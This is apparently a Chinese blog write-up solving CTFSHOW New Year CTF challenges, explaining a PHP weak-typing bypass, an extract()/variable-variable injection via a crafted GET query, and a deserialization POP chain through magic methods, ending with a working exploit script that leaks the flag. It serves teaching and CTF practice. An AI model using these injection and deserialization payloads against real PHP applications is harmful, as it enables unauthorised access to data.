• CTFSHOW 年CTF


    1.除夕

    php的弱类型,用小数点绕过 这里后面直接加字母不行

    2.初三

    1. error_reporting(0);
    2. extract($_GET);
    3. include "flag.php";
    4. highlight_file(__FILE__);

    这里通过extract将get的参数导入为了变量

    1. $_=function($__,$___){
    2. return $__==$___?$___:$__;
    3. };

    这里通过了

    $_是这个函数的变量 $__ $___是函数接收到的参数

    通过三元运算 即 $__ == $___ 来比较参数是不是相同,相同返回$__  ,不相同返回$___

    1. $$__($_($_GET{
    2. $___
    3. }[$____]{
    4. $_____
    5. }(),$flag));
    6. $$__($_($_GET{$___}[$____]{$_____}(),$flag));

    这里

    __和后面的分开来看,$_就是上面的自定义函数,这里我们分析函数是没有输出能力的,所以" role="presentation" style="position: relative;">__和后面的分开来看,$_就是上面的自定义函数,这里我们分析函数是没有输出能力的,所以
    __就是var_dump用于输出后面的内容,回到函数 传入的第一个参数$__就是$_GET{$___}[$____]{$_____}()第二个参数就是$flag,回到上面的函数中,我们要输出$flag 就是输出$___,在上面的三元运算中知道,$__和$___一样就会返回$___所以我们构造$_GET{$___}[$____]{$_____}()为$flag 或者为true

    这里配合extract我们就可以传入$__的参数为var_dump 即 /?__=a&a=var_dump

    因为还有()所以是个无参函数,

    1. phpinfo() == 'zx';
    2. //bool(true)

    弱类型中phpinfo()是true这里使用phpinfo

    这里的

    $_GET{$___}[$____]{$_____}

    这里的三个$___ $____ $_____都是通过_get获取的,这里也是个三维数组,其中第一维的键名为$___,第二维为$____,第三维为$_____我们可以传入类似/?___=b&____=c&_____=d的get请求,这个就是一个三维数组$_GET['b']['c']['d'],所以我们构造['b']['c']['d']=phpinfo,最后我们再传入x[b][c]=phpinfo,就完成了三维数组的构造

    ?__=a&a=var_dump&___=b&____=c&_____=d&[b][c][d]=phpinfo

    3.初六

    1. /*
    2. # -*- coding: utf-8 -*-
    3. # @Author: h1xa
    4. # @Date: 2023-01-18 08:46:07
    5. # @Last Modified by: h1xa
    6. # @Last Modified time: 2023-01-18 11:19:09
    7. # @email: h1xa@ctfer.com
    8. # @link: https://ctfer.com
    9. */
    10. include "flag.php";
    11. class happy2year{
    12. private $secret;
    13. private $key;
    14. function __wakeup(){
    15. $this->secret="";
    16. }
    17. function __call($method,$argv){
    18. return call_user_func($this->key, array($method,$argv));
    19. }
    20. function getSecret($key){
    21. $key=$key?$key:$this->key;
    22. return $this->createSecret($key);
    23. }
    24. function createSecret($key){
    25. return base64_encode($this->key.$this->secret);
    26. }
    27. function __get($arg){
    28. global $flag;
    29. $arg="get".$arg;
    30. $this->$arg = $flag;
    31. return $this->secret;
    32. }
    33. function __set($arg,$argv){
    34. $this->secret=base64_encode($arg.$argv);
    35. }
    36. function __invoke(){
    37. return $this->$secret;
    38. }
    39. function __toString(){
    40. return base64_encode($this->secret().$this->secret);
    41. }
    42. function __destruct(){
    43. $this->secret = "";
    44. }
    45. }
    46. highlight_file(__FILE__);
    47. error_reporting(0);
    48. $data=$_POST['data'];
    49. $key = $_POST['key'];
    50. $obj = unserialize($data);
    51. if($obj){
    52. $secret = $obj->getSecret($key);
    53. print("你提交的key是".$key."\n生成的secret是".$secret);
    1. highlight_file(__FILE__);
    2. error_reporting(0);
    3. $data=$_POST['data'];
    4. $key = $_POST['key'];
    5. $obj = unserialize($data);
    6. if($obj){
    7. $secret = $obj->getSecret($key);
    8. print("你提交的key是".$key."\n生成的secret是".$secret);

    通过这一段我们知道反序列化后先回调用getSecret而在happy2year中

    1. function createSecret($key){
    2. return base64_encode($this->key.$this->secret);
    3. }

    这里把两个变量进行了拼接,也就是把对象当作了字符串会触发tostring

    1. function __toString(){
    2. return base64_encode($this->secret().$this->secret);
    3. }

    里面调用了secret方法而不存在这个方法所以回触发call

    1. function __call($method,$argv){
    2. return call_user_func($this->key, array($method,$argv));
    3. }

    通过$key = $_POST['key'];我们找到了可以构造的参数key

    在回调函数中第一个是函数 也就是这里的$this_key被当成了函数执行回调用invoke

    1. function __invoke(){
    2. return $this->$secret;
    3. }

    调用了$this->$secret 但是secret是私有属性触发get

    1. function __get($arg){
    2. global $flag;
    3. $arg="get".$arg;
    4. $this->$arg = $flag;
    5. return $this->secret;
    6. }

    get中$arg=get 拼接 $arg 而get($arg)他接收的就是secret 也就是$arg=‘getsecret’

    然后$this->$arg=$flag 

    给一个未定义的属性赋值时,触发__set

    1. function __set($arg,$argv){
    2. $this->secret=base64_encode($arg.$argv);
    3. }

    set中接收$arg $argv $arg就是getsecret  argv就是接收的数据$flag

    这样.sercrt里面就有了flag

    1. exp
    2. class happy2year{
    3. private $secret;
    4. private $key;
    5. function __construct(){
    6. $this->key=$this;
    7. }
    8. }
    9. $a=new happy2year();
    10. echo urlencode(serialize($a));
    11. ?>

    三次base解码得到flag

  • 相关阅读:
    【计算机毕业设计】基于jsp网上书店(源代码+论文)
    Windows OpenGL ES 图像绿幕抠图
    Linux中的nc命令
    【小游戏】2D游戏炸弹超人BombSuperman(无限关卡模式)
    leetcode 942. 增减字符串匹配
    uniapp-vue3 抖音小程序开发(上线项目开源)
    微服务 - 概念 · 应用 · 通讯 · 授权 · 跨域 · 限流
    go 线程限制数量 --chatGPT
    Spring Cloud Alibaba Sentinel流量防卫兵
    上海控安SmartRocket系列产品推介(五):SmartRocket Scanner软件成分分析工具
  • 原文地址:https://blog.csdn.net/qq_61988806/article/details/132707936